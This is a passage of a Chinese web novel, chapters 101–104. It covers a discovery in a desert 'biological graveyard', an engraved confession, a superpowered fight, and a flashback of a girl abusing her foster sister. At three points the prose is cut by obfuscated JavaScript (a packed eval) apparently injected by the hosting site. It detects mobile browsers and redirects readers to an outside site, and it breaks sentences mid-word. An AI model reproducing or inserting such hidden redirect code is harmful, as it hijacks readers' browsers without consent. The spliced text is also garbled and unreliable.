这里的天好像永远都是黄沙奔腾,即使已经在这儿呆了好几个小时了,天空依然没有任何变化,看不出光线的变化,分辨不出来时间,分辨不出来日夜,也没有抬头就该看到的星空。 ——红色的土地,黄沙一样的天,没有日夜没有星空,也没有时间。 季水风描述一般的声音突然在耳边响起,那是她打来的那通电话里说的话:“他说,红色的土地,黄沙一样的天,没有日夜没有星空,也没有时间。” 沉皑霎时站了起来,他惊愕地往四处看,往眼前这片白骨堆里看,表情逐渐变得前所未有的严肃。 片刻,他轻轻碰了下还坐着的时咎,沉声说:“我知道这是哪了。” 101. 第 101 章 时咎抬头,恹恹地问:“哪啊?” 沉皑轻描淡写、却字字清晰地说:“教化所。” 时咎猛地站起来。 他之前不知道季水风这句如此详细的描述,只是觉得这里很奇怪,看到这如山的白骨更奇怪了,现在被沉皑一说,他终于知道哪里奇怪。 他的脑海里一直有一句话,但不是季水风说的那句,而是——一个世界上不存在的地方。 现在再看眼前的一切,这绝对可以称得上是世界上不存在的地方,因为它本身就在幻境里,或者说,它需要通过幻境,才能到达这里。 这满地的白骨,诠释着它的另一个名字:生物坟场。 时咎小声重复道:“这竟然就是生物坟场。” 找了那么久,居然在这里。 那这些白骨,曾经就是恩德诺刚满20岁便被遗弃在这里的公民,一具一具,全是满心欢喜来接受成人礼、却只迎来葬礼的人们。 时咎往白骨堆里走了两步,但又转头看了眼地上的季水风,对沉皑说道:“如果我们能出去,把她带上。” 沉皑说:“我知道。” 教化所基本是有去无回,但不难想象,那些刚刚到成年年纪的人,在面对那片沼泽和屏幕的时候会有什么反应。他们更不会那么理智地思考那些哲学问题,只会觉得有了机会。 有机会就要抓住——一句老生常谈,却无法思考那个机会该不该抓,若抓不住是失去机会,抓住了是丧命呢? 两个人沿着白骨堆往前走,看到这并不是光秃秃的白骨,在很多白骨下,还有各式各样的布料,看上去应该是那些小孩来时穿的衣服,只是时间长了,风化了,或者被风吹到底下不那么显眼。 “你过来看!”时咎忽然朝不远处的沉皑喊道。 沉皑快步走过去。 时咎的脚下有一块空地,这里的白骨聚集比较少,所以白骨下的东西露出来。 是在赤红色土地上刻下的字,就在这块空地上,浅红色的文字,字写得很小,要趴下才能看清具体写了什么。 时咎靠得很近去看这些文字,他拿手摸了一下,发现就是刻在地上的。 “幸识小碗……”时咎念出来。 有人能在这里刻字,说明还有人破了之前的幻境一路走到这里了,但看样子,也仅仅是走到这里。 沉皑看的是这一长段文字的末尾,他直接说:“是季川泽刻的。” 时咎抬头:“啊?” 沉皑指了指这大段文字的结尾部分:“落款,季川泽。” 季川泽曾是运输者,他知道教化所的具体位置,所以能在这里留下些东西也不奇怪。 时咎埋头继续看他刻的这些内容,也顺便念出来给沉皑听。 “幸识小碗,深知我人生的悲哀,我过了糊涂的一辈子,做了太多错事,从父亲季霜林开始,不知羞耻挥霍季家先祖积累的德行,对不起季家世代与人为善、大恩大德,更对不起季雨雪一生为文明。不知道什么时候这里才会被人发现,我的一生无足挂齿,但小碗的故事希望为人所知。” “多年运输者,从未在悔恨幻境后还能见到活着的人,小碗是第一个。她的母亲无性繁殖她的姐姐,后有她,姐姐在20岁被送入教化所再没有回家,母亲也在之后去世,小碗同样在20岁来到教化所。” 千字出头,大概能拼凑出一个完整的故事。 运输者偶尔会在这里对尸体进行搬运整理,不至于白骨随处抛。有一次,季川泽如往常一样来到这里,却诧异发现这里坐着一个女生,就坐在这一堆白骨尸体前,没有哭也没有惊慌,但季川泽的第一反应是惊慌,因为他没有在这里见过活人,于是观察了很久,确认这真的是一个从幻境里活着出来的人。 他靠近小碗,小碗也察觉到他的到来,但她只是抬头看他一眼又继续手里的东西。 季川泽问:“你在做什么?” 小碗晃了晃手里的东西,回答:“泥人。” 她在周围挖了一些没那么硬质的土,撕了些被压在白骨下的衣服,就用这里现成的工具做起了小泥人,给它们捏了身体与四肢,表情和头发,再用死者布料撕成衣服给泥人们穿上。 工具简单,做出来的小泥人们却惟妙惟肖,精致得宛若活人,只是肤色不太对。 一番交谈,季川泽知道了这个小女孩是一名正在学习中的虚拟建模艺术家,擅长利用玻璃和纤维制作出某种模型,这种模型的形态像是直接从镜头里被挖出来般真实,并且在阳光下可以呈现不同的姿态,原理类似于万花筒,有错觉艺术的成分。 只是小碗一直觉得自己学艺不精,所以一般只做小模型,最常做的便是玩偶、泥人一类的,在这方面,她收获了很高的评价,她自己也非常喜欢,她手里的模型特别之处在于,如果客户提供衣服或者常用的香水,她可以让模型人物一直散发那个人本身的味道,除了体型小些,就像一个真正的人,所以也有不少死者的家属找她做逝去那些人的纪念品。 季川泽觉得诧异,不是诧异她的工作,而是诧异她在这种环境下,为什么没有心生恐惧,反而坐下来还能冷静地自顾自捏小泥人。 风沙呼啸,白骨哀嚎,整个寂静无人的地狱。 小碗很平常地回答:“我知道我要死了。” 在回答的时候,她手里的动作也没停,换着角度去改造手里的泥土以追求更精致。 做完一个,她举起来,想举到阳光下去观察,但发现这里没有阳光,便又收回手。 季川泽问:“你不怕死?” 似乎对刚刚完成的作品还很满意,她盯着小泥人笑说:“还好。” 季川泽接着问:“为什么?” 小碗又捏了一块新的泥土,似乎思索着下一个要捏谁,一边想,一边漫不经心地回答:“因为人生除了生死都是大事啊。” “什么?”季川泽怀疑自己听错了。 小碗毫不在意地说:“出生和死亡都不由我,只有我活着的每一天可以让我选择,我只是想做我喜欢的所有人的形象,反正死亡都会来,来之前再做点。” 她说,不害怕死亡,但害怕即使到死,也没有能在自己喜欢的事情上耗尽所有生命力,她的热情没有消散,所以就算知道马上要死了,也想冷静做这些,也算是一辈子都在做喜欢的事了。 反正……谁不知道自己会死呢? 季川泽看着小碗面前已经摆放了几个小泥人,便问:“那你捏的都是谁?” 小碗回答:“一些我喜欢的人。” 她指了指面前的这几个,念道:“这是母亲,这是姐姐……” 她突然想起什么似的,拿起那个被她叫“姐姐”的小泥人,开心道:“我姐姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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季川泽没说话,他没说那都是假的,因为那儿的人思维并不透明,公民所能连接的,本身就是他们想让公民感受到的东西。 季川泽突然觉得很悲哀,他想到了自己这一生、过去的种种,想到了文明中心的所作所为,就像一个巨大的脓疮溃烂在这片纯洁的土地,却还要给自己取名为:文明中心。 可文明中心配不上它的公民。 后来,也许小碗也死在这里了,也许死在这片荒原的别的地方,但是季川泽不知道。 时咎念着:“我要去文明中心,向公民揭发掌权者的阴谋,告诉公民他们的骗局。或许之后也不会回来了,他们肯定不会放过我,我就带着火焰冲进去,给公民们提醒,也算是这一生最后的醒悟。” “季川泽。” 时咎念完,抬头和沉皑相顾无言。两人都不约而同想起了很久以前的事。 沉皑看着这一长段刻字,安静很久,才缓缓道:“原来第一个在广场上自焚的人是他。” 那个在虚疑病大规模爆发前,就广场上高呼揭发掌权者阴谋、最后自焚的人。他们当时都以为这个人是病株失窃前,偶然自然产生的虚疑病患者。 可即使这样的行为,也没有任何人相信过他,公民们没人理会他。 时咎犹豫着说:“我记得你跟我说过这个自焚的人,最后……” 沉皑:“嗯。” 最后被赶到的季山月一枪击毙。 102. 第 102 章 那个时候季山月也不知道自己杀死的是谁,但他不需要知道。 时咎:“要告诉季山月吗?” 沉皑摇头。 或许留白与知晓同样重要。 局势依然不乐观,他们还是不知道如何离开,所以绕了一圈没有收获后,又回到季水风的位置。 她的身体已经很僵硬了,时咎还是将她抱起来,两人就沿着着无边的赤红土地慢慢往更远的地方走着,企图在某个地方找到离开的办法。 不知道从早上出门到现在已经过去多久,或许已经是晚上了,也许是第二天,只是在这片黄沙涌动的天象下什么都看不出来,只有逐渐流逝的体力让人觉得难挨。 时咎觉得渴,只能用舌头去舔嘴唇,但舔过的嘴唇没过多久再次干涸。 这么下去也不是办法,渴死饿死累死,总有一种选择可以让他们死在这里。 心理折磨也够折磨,时间越久,那种绝望就越浓烈。 电影里的艾米莉亚·布兰德[12]一个人在孤独的星球里生活时,会面对什么压力? 季水风的身体由时咎换到了沉皑怀里,很久之后又被时咎接了过来,两人轮换着抱着。 走了很久,这片赤红色的土地没有任何变化,天上也没有任何变化,好像永远都在原地打转,看不出走的距离,唯一变化的只有那些圆形坑,过一会儿会有一个,但无一列外里面都是白骨,有的多,有的少。 唯一幸运的就是气温还算适宜。 走累了,两人原地坐下休息。 时咎把季水风放在旁边,整个人躺了下去,闭眼劳累地说:“再这么下去,我们没找到路,她的身体先烂了。” “不对。”他立刻改口,“她的身体还没烂,我们先累死了。” 沉皑淡淡笑了下:“别说话,休息。” 时咎知道他们得尽可能保存这快要透支的体力,但一放松下来,脑子又不由自主运转,想着这荒谬的一切。 他觉得他们的方向可能歪了,从最开始上山以来,一直都在幻境里,这个地方明显也不可能是真实存在的,破除幻境应该需要某个引子。 比如当人们睡着做梦的当时,可能不会意识到自己在做梦,但有的研究清明梦的人,会故意在自己的梦里安插某种图腾,或者叫心锚,来作为发现自己是在梦里的依据。 最著名的例子之一是诺兰《盗梦空间》里那枚陀螺和婚戒,转动的陀螺如果停下了,主角也没有带婚戒,说明这里就是现实。 这个地方应该也存在类似的东西,只是他们不知道那是什么。 意识弥留之际,时咎还睁眼看了下天,那永恒流动的黄沙天空,跟在太空看木星一样。 穿过大气层,经过超临界流体往下坠,气压和温度越来越高,周围会布满金属氢,同时,四周会逐渐变成黑色,但这黄沙的背后,似乎也不全然是黑色,有些鱼肚白,似乎是黎明,是不是看错了? 这么想着,时咎感觉自己很快睡了过去。 这一觉睡到一半,时咎突然感觉自己整个人陷入紧拥的怀里,接着他翻转很多圈,耳边传来“轰”的一声巨响。 震得时咎瞬间睁开眼。 这一看便惊呆了。 沉皑刚好从他身上起来,而旁边他刚刚睡觉的地方则是一个坑。 一个声音不紧不慢地惋惜道:“哎呀,反应真快。” 是季山月。 时咎迅速从地上爬起来,看到不知何时,这无边际的赤红土地上来了第三人,他壮实的身体堪堪站在面前,不经意地揉搓着自己的拳头,看上去那个坑是被他打出来的。 还好沉皑在。时咎打了个冷颤,这一拳下去,穿肠破肚、魂飞魄散吧。 沉皑默默把时咎拦在身后,但季山月的目光不在他俩身上,而是盯着地上的季水风,随后挤了个露出八颗牙齿的微笑。 季山月:“嘿嘿,我就知道她不可能通过悔恨幻境。” 他的目光转移到时咎身上,惊讶道:“上次让你瞬移走了,这次希望你不要跑了。” 时咎则直接问他:“她到底做了什么对不起你的事?”说着,目光移向地上躺着的人。 “她啊。”季山月随意道,“她没跟你们说过?” “哦对!”他一拍脑袋,跟想起什么似的,“她要是跟你们说过,季山月那蠢小子也不会拥护她这么多年了。可怜。” 时咎很讨厌这种有话不说硬打哑谜的对话,干脆懒得问了。 正好季山月也懒得说了,因为他突然出手朝两个人在的方向冲过来。 “小心!”沉皑呵道,跻身完全挡在时咎身前,硬生生接下来了季山月冲过来的力。 “砰!” 沉皑往后滑了好些距离,还没完全停下,他便矮身横扫出去,直击季山月的膝盖。 季山月下半身躲避攻势的一瞬间,沉皑反手抓住季山月攻击他的手腕倒拧,只听到“咔嚓”一声,他的手腕应声脱臼。 季山月露出了惊异的神情,随即又笑出来,他往后退了好几步,迅速接回自己脱臼的部位,神情认真起来。 两个人突然就打起来了,难舍难分。 时咎没有真的见过沉皑打架,乍一看,觉得自己以为的沉皑的实力还是太保守了。 沉皑完全没有手下留情,每一次出手都是致命一击。 在季山月飞跃起来要从空中翻腾到沉皑背后的时候,他突然感觉到自己的重心被狠狠拉下,动作瞬时变形,就在这一刹那,沉皑已经闪身到他身后,抬脚踩着他的背便被狠狠碾进地里。 季山月吐了一口血出来,整个人被嵌在地里动不了,背后压着他的力道奇大。 他的眼睛里也在充血,朦胧间看到时咎站在不远处,没有要介入他俩打斗中的意思。 差点忘了,这小子可以扰乱他的进攻。 时咎只是站着,并没有动作,也没有使用什么梦境的力量,那都是沉皑的。 季山月咧嘴笑了下,突然怒吼一声,竟然也爆发出巨大的力量挣开了压制自己的力量,他翻身起来便一脚蹬到沉皑的胸口,借力凌空翻转,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这是怎么回事?!时咎焦急扶着沉皑,后者则是摇摇头,又猛咳了几声,最后还是摇晃着站了起来。 灰尘散去,却是令人没想到的一幕。 地上倒着季山月,而他旁边,站着的却是言威。 言威比时咎上次记忆中的模样看上去苍老了十多岁,白发丛生,但是他站在那里,那股强势得令人无法呼吸的威压更浓了。 他怎么出现在这里? 沉皑表情也变了,他一抹嘴角的血,似乎刚刚那一下攻击给他的冲击不小。 言威看着旁边地上躺着的季山月终于爬起来,又淡淡扫过面前两个人,缓缓说:“我没想到你们能找到这里。” 接着又说:“不想杀你们,看来都不行。” 话音未落,他已经冲过来,伴随着从天而降的雷鸣。 好快! 时咎只觉得心脏猛地一跳,因为那人已经瞬间冲到了眼前,比他能见到的沉皑的速度更快,比季山月更强。 一掌毫不留情地落下,沉皑以最快的速度反应侧身去挡,于是他替时咎完完整整挨下了这一拳。 “沉皑!!!”时咎大叫出声。 沉皑瞬间被劈了出去,“轰”一声重砸进土地里。 103. 第 103 章 沉皑觉得自己的五脏六腑全部被搅碎了般疼,他急剧又艰难地喘息着,挣扎着从地上要起来。 然而这还没完,那些雷电一刻也没有停下,如同战马狂奔着沿路朝沉皑奔腾而去,卷起一路的飞石,眼见着要追上他,千钧一发,时咎扑过去抓着沉皑剧烈地翻滚出去。 扬起的灰尘让时咎猛烈咳嗽起来。 雷电砸得整个地面都在震颤,在两人刚刚逃脱掉一次追击,下一个立马狂烈地怒吼着冲来。 那雷电似乎迸裂着火花,在赤红色土地上鲜艳得仿佛刺穿胸膛喷涌的血。 时咎裹了满身的灰,眼见着闪电追了过来,想去扶沉皑。 但比闪电还快的是言威,时咎甚至没有看到他的人影,只恍惚看到一片格格不入的白色在眼前一晃而过,等他反应过来那是言威的白发时,只感觉腹部一阵剧烈的疼痛,那是这辈子都没有受到过如此重创的疼痛。 他感觉自己悬空,又重重被抛下,坠地的一瞬间因为疼痛本能想叫出来,却发现痛到极致连声音都发不出来,一张嘴,浓烈的血腥味从喉咙里喷洒出来,他一张嘴便咳一地血。 雷电劈到了刚刚沉皑在的位置,时咎用尽所有力气去看,发现那里已经没有沉皑的身影,而在不远处,沉皑再次被言威攻击出好几米,发出巨大的声响。 言威的声音依然是不紧不慢的:“迟疑了!” “手挡的时机不对!” 沉皑腾空而起,一拳重重朝下挥出,砸下去却只是将土地砸成一堆齑粉。 言威出现在他身后,冷冷道:“还是差一点。”接着抬腿将沉皑整个人压了下去。 “轰——” 泥土深陷,沉皑躺在地上胸口剧烈起伏,脸上血液横流。 打不过,他打不过言威,这个世界上唯一打不过的人。 时咎怒吼一声,翻身躲过了闪电,一道黑影却朝他瞬移过来,接着一拳又打到他刚刚的伤口上。 时咎只觉眼前一黑,整个人摔下去。 季山月“嘿嘿”两声说:“先看看自己能不能活吧。”说完就顺势抬手。 那拳头带着破空声汹涌而至,时咎觉得自己动不了了,这一拳下去基本是十死无生。 然而那拳头迟迟没有落下来。 时咎倏然睁大眼,发现想象中的拳头正停留在距离瞳孔一厘米处,前后动弹不得。 季山月用力得手臂上的肌肉绷得似乎要爆裂出来。 他死死咬着牙说:“妈的,我就该先把你能力打散。” 他好像挥也挥不出去,收也收不回来,就这么僵着。 他的身边是火红的色彩和光。 时咎侧头看了一眼沉皑,见对方被言威缠斗得无法脱身,但尽管这样,还是空出了能力来保护他。 “轰隆隆——” 雷声炸起,直直朝时咎冲来,他忍着浑身的剧痛躲闪过去。 季山月身边的空气冻结住了,但是他看不见。 来不及多想,因为那冻结的空气很快重新流动起来,季山月也瞬间抽回了手重新向时咎发起了攻势,只是如刚刚一样,每当他要击中时咎,就会被一股无形的力量阻止,或者就会莫名其妙打歪。 季山月大骂,竟然掉头冲向了沉皑那边。 绝对不能让他们围攻沉皑!! 时咎跌跌撞撞地站起来,又踉踉跄跄朝那边跑过去。 情急之下他的大脑飞速运转。 沉皑的能力只能隐晦使用,因为季山月在,现在最佳选择是自己的控梦。 这是他的梦,他的梦都与沉皑有关,瞬移,甚至沉皑的命令,是不是可以理解为,他能力的来源就是沉皑,如果是这样,他的能力是不是专为沉皑而生?如果可以控梦,那么与沉皑相关的事,他都可以产生能力? 季山月朝沉皑猛冲过去,在沉皑刚刚同时接过言威的攻击与闪避掉雷电时,耳边突然听到了异样的风声,那种隐隐作响的飓风他听过很多次了。 他当即觉得不太妙。 然而季山月就是冲着这一秒去的。 连续被重创的沉皑连身形都没稳住,那阵呼啸而来的狂风势如破竹卷了过来,倒映在沉皑的瞳孔里,急速逼近。 几乎是同一时间,根本来不及! 呼吸声瞬间无限放大。 “轰——” 沉皑只感觉浑身突然被无形的结界包裹,令他无法动弹,但是外面的推力依然推着他往后冲去,那阵强烈的推力如同山顶的落石冲到自己身上,丝毫没有反抗的能力便被冲了出去。 十几米远的地方,飓风消散,完全没收到伤害的沉皑的身体从半空中徒然落下,但同时落下的还有时咎,以及一条鲜血轨迹。 沉皑瞳孔骤缩,伸手想去抓他却只抓到一片空气。 “砰!” 时咎垂直砸在地面上,沉皑平稳落地直接冲了过去。 他的声音吼得撕裂;“时咎!!!” 时咎的意识很恍惚,好像听到旁边有怒吼,然而那怒吼隔得非常远,好像……好像耳朵里全是血,被蒙住了,鼻子、嘴巴,也全被浓重的血腥味糊住,稍微动一下,就会崩裂。 原来抗下季山月的能力是这种感觉。 他用力睁开眼,却只能看到一片红色,不知道是这里本身是红色,还是因为双眼里都是血。 他看到季山月用能力了,目标是沉皑,但是他不想要沉皑再失去一次能力,也知道季山月突然转头的目标依然是自己,他一定吃准了自己会去挡。 是对的,千钧一发之际,最保险的选择就是替他挡下这一击。 这么想,就这么做了,拼尽全力的奔跑,冲到沉皑面前。 不过…… 时咎有点想笑,他的猜测是对的,他对梦的控制程度取决于沉皑,所以当时在图书馆,包括仓库的震动,只是他情绪不稳下的梦境崩裂。 知道这些就好了。 这么想想,他和沉皑这千丝万缕的关系到底从何而来啊。 他也是第一次使用能力来保护沉皑,不太敢确定是否真的有效,所以使用的同时,自己也冲出去用肉身挡,双重保险。 他有选择的,他可以醒来,但是沉皑没有,所以也不算是牺牲,只是物尽其用。 急促的脚步声靠近,沉皑狂奔过来抱起地上的人,浑身颤抖着叫他的名字:“时咎,时咎?” 时咎的手指无力动了一下,用小得不能再小的弧度摇头。 ——我没事。 沉皑和言威之间却是还有差距,这样是没办法赢过他的,早晚会死在这里。 最佳选择是先解决季山月,然后联合对付言威。 远处的季山月踏着缓慢的步伐走过来,虽然他浑身也全是伤,满脸的血擦都擦不完,不过走到两个人面前的时候,还是那副桀骜不驯的姿态。 他蹲下来,喘着气说:“来,控制我啊。” “季山月!”言威叫道。 季山月不耐烦地挥了挥手,目光从奄奄一息的时咎身上挪到沉皑身上。 季山月咧嘴笑,他轻声说:“再见。” 季山月这一拳挥得很快,沉皑也挡得很快,他咬着牙,一个字一个字吐出来:“我还没死。” “噢!强弩之末。” 言威等烦了,再次催促季山月。 时咎听到季山月的脚步声踱到了旁边,旁边是沉皑剧烈又痛苦的呼吸,那脚步就停在那,他听见季山月再次小声说了一句:“再见。” 沉皑微微抬起手,能量和磁场已经聚集在透明的上空。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304279|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而就在季山月准备给出最后一击时,他的动作停滞住了。 他突然整个人僵硬了一般,动不了,随后开始浑身抽搐,剧烈颤抖起来。 他脸上的表情是不可思议,连远处的言威也发现了不对,迅速赶了过来。 “季山月!”言威呵道。 季山月听不见,他像着魔了一般痉挛,手脚扭出不自然的弧度,好像正与什么看不见的东西做着激烈的抗争,他张嘴,只发出了一些简单的音节。 意外发生得过于突如其来。 但言威无暇顾及他的情况,想要首先解决沉皑。 那青筋爆出的攻势已经冲到了几乎沉皑的脸上,突然他的手腕被抓住,随后猛地往回扯,言威没料到这变故,整个人被回扯了好几步,难以置信地看向阻止自己攻击地人。 季山月大口大口喘着气,眼睛死死盯着言威,他身体的颤栗现象消失了,只是有些脱力。 他咬着牙,气息不顺地说:“你,休,想。” 言威立马就反应过来了。 这是季山月。 竟然在与内心巨大的冲突中,醒过来了? 季山月努力支撑着身体,挡在沉皑和时咎面前,与言威对峙着。 言威一言不发地紧盯着季山月,随后爆发出了一阵夸张的笑声。 季山月背后的沉皑一瘸一拐走到时咎旁边,将他抱在怀里,手还有些颤抖,低声喘息说:“时咎?时咎?还能睁眼吗?” 时咎好一会儿才微微摇头,一张嘴,血又涌出来。 “嘘,乖,别说话。”沉皑摸着他的头发,抬头看向季山月。 他好像恢复了。 于是沉皑试着叫了一声:“季山月?” 那个壮硕的身躯浑身一抖,他一点点回头,却也没敢把所有目光移过来,他的嘴唇触碰半天才说:“对不起。” 说完他又转回了头,而他就这么死死挡在两个人面前,好像在说:想杀他们,就从我的尸体上踏过去。 接着,他的目光就扫到了远处那个躺着的小女孩,表情瞬间就裂了。 “姐?!”他惊恐小声叫道。 他的语气里全是无法接受,他的身体晃了晃,但还是勉强撑住了。他就那么瞪着那具小小的身体,眼睛里的红血丝和眼泪全部迸发出来。 在那片混沌里,他看到季水风的一瞬间,就开始狂怒着大吼,但是没人听得到,任他崩溃,任他叫嚣,他看着自己出手伤害自己的朋友,一遍遍在黑暗中大喊“快杀了我”依然无济于事。 他想挤进那束光里,让自己成为自己身体的主宰。 也许是下一秒他就真的能杀掉他的朋友,无法承受这样的结果,好在最后一秒他做到了。 可是季水风……全都是假的…… 言威也不急,只是充满笑意地看着季山月的痛苦。 季山月喃喃着说:“姐,姐……” 片刻,言威转头看了一眼那躺在远处的尸体,不紧不慢地开口:“你不知道那是谁吗?” 季山月的目光瞬间就转移到了言威身上,他的眼里全是仇恨,如果可以,他会把言威撕碎。 他颤抖着举起手,指着那个小女孩,颤颤巍巍地说:“我姐,季水风,安全管理中心最高管理,水风医院、孤儿院建立者,全世界、全世界最好的人。我,我为什么不知道她是谁?” 言威笑着叹气:“真可怜。” 季山月脸色变了,他警惕道:“什么意思?” 言威似乎也是不忍,他摇了摇头,缓缓地开口。带着戏谑,带着对命运的嘲弄,带着怜悯,带着对往事的知情。 轻轻揭开那段不为人知的过去。 “你一直叫姐的这个人啊,原名叫……” “季纯。” 104. 第 104 章 二十多年前的街道与现在差别不大,只是住在楼房里的人年轻许多。 一间狭小的屋子,一个女人,两个几岁大的小女孩。 懵懵懂懂有些害怕的季水风抱着自己的娃娃站在陌生的家里,看着眼前这个大自己一岁的女孩,拉出一个友善的微笑:“你好,姐姐,我叫季水风。” 另一个女孩只是看着她,有些疑惑,并没有作声。 女人连忙出来帮季水风拿她的行李收拾,一边收拾一边喊道:“季纯!帮妹妹把衣服拿进来一下!” 说话间,见季纯不为所动,女人怒吼道:“季纯!你聋了吗?拿东西!你看看,人家比你乖多了,给你打招呼你也不听,叫你拿东西你也不听,你怎么这么没礼貌?还不听话。” 原本还只是疑惑的季纯忽然就不耐烦起来,眼神变成了厌恶,她扭头就走:“爱谁拿谁拿!”说完还踢了一脚季水风放在地上的行李。 对于几岁大的孩子来说,另一个孩子的到来多数并不意味着童年的玩伴,而是意味着:夺取父母的爱。 饭桌上,女人把最大的肉夹在了季水风碗里,轻声说:“水风乖,以后在我们家好好住着,你比姐姐乖。” 季水风看着那块肉,吞了口口水,又看向一直不太高兴的季纯,最终举起碗靠近季纯的碗旁边,她说:“最大的肉姐姐吃吧。” 这句话不知道是哪里触碰到了小孩的火线,季纯一巴掌掀开了季水风的手,也掀开了她拿着的碗。 啪地一声,碗碎了,肉掉了,饭撒了一地。 季水风愣愣地看着,眼睛逐渐红了,但到最后也没有吭一声,默默去拿扫把把地上清理了。 女人将筷子扔在季纯身上,吼道:“你这对妹妹是什么态度?!” 季纯也不甘示弱吼回去:“你就是想要一个妹妹,你早就想要妹妹,不想要我!!” 这话惹恼了女人,她“啪”一巴掌甩到季纯脸上:“你听话一点我能对你这样吗?妹妹听话,我当然对她好,你听话我也对你好!” 季纯摔门跑了。 季水风很乖,收拾好东西后安慰女人,又等季纯晚上回家,向她道歉了。 季纯不接受。 或许是季水风性格很好,虽然季纯不太喜欢她,但她还是喜欢把自己的东西给这个脾气不好的姐姐分享。 季水风知道自己是被抛弃的小孩,而那个女人是可以给她庇护的人,所以她得做出一些牺牲,比如快乐和尊严。 季水风对季纯的好并没有得来季纯的回心转意,而是变本加厉,因为季纯觉得这个妹妹心机太深,她太知道如何讨母亲欢心,知道如何让母亲讨厌自己,那她就更讨厌季水风。 于是她殷勤地把母亲刚出锅的热汤端出来,假装滑倒,滚烫的油汤全部洒在季水风身上。季水风惨叫,女人立刻抱着她去了医院。 虽然那天是季纯一个人的午饭,但是她吃得还挺开心。 季水风身上贴着烫伤的药膏,季纯路过她,会故意去戳一下,听到季水风的痛叫,她就很满意。 这样的情况下,为什么这个女孩还不走啊?还要在她家住多久呢? 时间慢慢地过去,两个女孩并没有因为同住一个房间而变得熟络,而是越来越冷漠,因为后来的季水风发现无论怎么讨好这个姐姐,她也不会对自己好哪怕一点,便不想再同她示好。 她们成了同一个屋檐下的陌生人。 或许陌生人会更好一些。 有一天,是寒冬。 季纯半夜冻醒过来,不知道什么时候房间的窗被打开了,寒风一直往房间里吹。她忍着冻过去关窗,回头的一瞬间,却看见季水风的被子裹得严严实实的睡得正香。 季纯觉得很恨。 她转身就过去扯掉了季水风身上的被子,但季水风没醒,季纯觉得更生气了,她的目光瞥到了刚刚才关的窗户上,她放下被子跑过去打开窗,把季水风的被子毫不犹豫地扔了下去。 她裹上厚厚的大衣,开着窗户,坐在床边等,等季水风被冻醒。还好她没有等太久,季水风发抖着醒来,迷迷糊糊问季纯,她的被子呢? 季纯指了指窗外,冷漠说:“楼下,想要自己下去捡。” 季水风真的就穿着薄薄的睡衣出门下楼去捡被子了。 她一走,季纯就把门锁上了。她安然地回到自己的房间,关门关窗,开始美美睡自己的觉。 最后还是女人被敲门声吵醒去开的门。 还有一次,季水风写完的作业全部装好准备出门,季纯趁着她去洗漱,把她的作业撕了细碎。 季水风回来跟她大吵了一架,那是她们第一次正面争吵,季水风说不过季纯,想动手,被季纯一个耳光扇回去了,那也是她们相处这么久以来,季水风第一次哭。 可能是实在委屈了,不想再这样了。 第二天,季水风去向季纯道歉,问她们能不能好好相处,她并不想夺取母亲的注意力,只是想在这里好好生活,等她可以自己养活自己了一定离开。 季纯说:“不,你现在就走。” 无果,两个人还是做回各自的陌生人。 其实季水风很可爱,人也很好,季纯这么觉得,但是她就错在不应该分担母亲的爱,不该到她们家。 这么想着,一直做手工做不好的季纯大发雷霆,自己跟自己生气。 如果这个时候母亲在,母亲会帮她做完她的作业,但是现在母亲却要去给季水风开家长会! 季纯恨。 于是在季水风回来后,趁着母亲出门买菜,季纯突然扑过去压制住季水风,仗着自己年纪大一点,力气大一点,想打她,扇了她几个耳光不解气后,四处张望,目光最终落到桌上的胶水。 她一把抓过胶水,掰开季水风的嘴就往她喉咙里灌,在这途中季水风咬住她的手指。 “啊啊——!”季纯惨叫。季水风趁机翻身起来了。 季纯手上都是血,季水风在旁边猛咳嗽,咳得满脸通红,几乎要窒息。 刚好女人回来,看到这一幕便把两个孩子一起送进了医院。好在季纯的伤口不深,季水风吞下的胶水不多,本身质地也不浓稠。 回来后季纯被女人破天荒地大骂了一顿,甚至第一次动手打她。 这顿毒打没有消减季纯的恨意,她产生了最恐怖的想法——杀了季水风。 于是在下一个冬天,她故技重施,从窗户扔掉了季水风的被子。季水风也是学倔了,她真就没有下楼,裹着自己的衣服在床上躺了一晚,但第二天她就发烧了,烧得很严重。 季水风没有去上学,在家休息吃药。但是女人每天却有自己的事,让季水风自己照顾好自己。 趁此时机,季纯偷走了季水风的退烧药。 那一次,季水风越休息越严重,最后高烧到神志不清,还是被前来查看的女人送往医院。 在医院里,季纯拒不承认,她完全矢口否认她做过的事。 女人气得在医院里破口大骂。 “你这样以后办!我还指望你让我过得很好,你,你品行低劣!” 季纯也委屈大哭:“你都没有让我过得好,凭什么要指望我让你过得好!” 女人气极了,她怒喊:“你不孝顺谁孝顺!孝顺就是天下第一大的事!无论我怎么对你!你都要孝顺我!” 季纯在医院哭得震天动地。 她讨厌她的母亲,讨厌她关于孝顺的理论。为了孝顺,可以随意抹杀一个人的人格,抹杀她的精神,她的需求,最后再在茶余饭后的餐桌上与朋友们高谈阔论几句:百善孝为先! 女人怒吼:“我生了你!你就应该孝敬我,这是你逃不掉的命!” 季纯回骂:“那你生我的时候问我了吗?问我愿意孝敬你吗?你凭什么认为你是一个好母亲?世界上那么多的母亲,如果我有选择,你凭什么认为我愿意认你当母亲?!你有什么资格!你有什么优势!你想过这个问题吗?你凭什么?!” 一场闹剧一样的对话,从辱骂季纯的品行低劣变成对“孝顺”的冲击。 季纯想要的很简单,就是母亲的爱,母亲的关注,但她的母亲想要的只有她快点 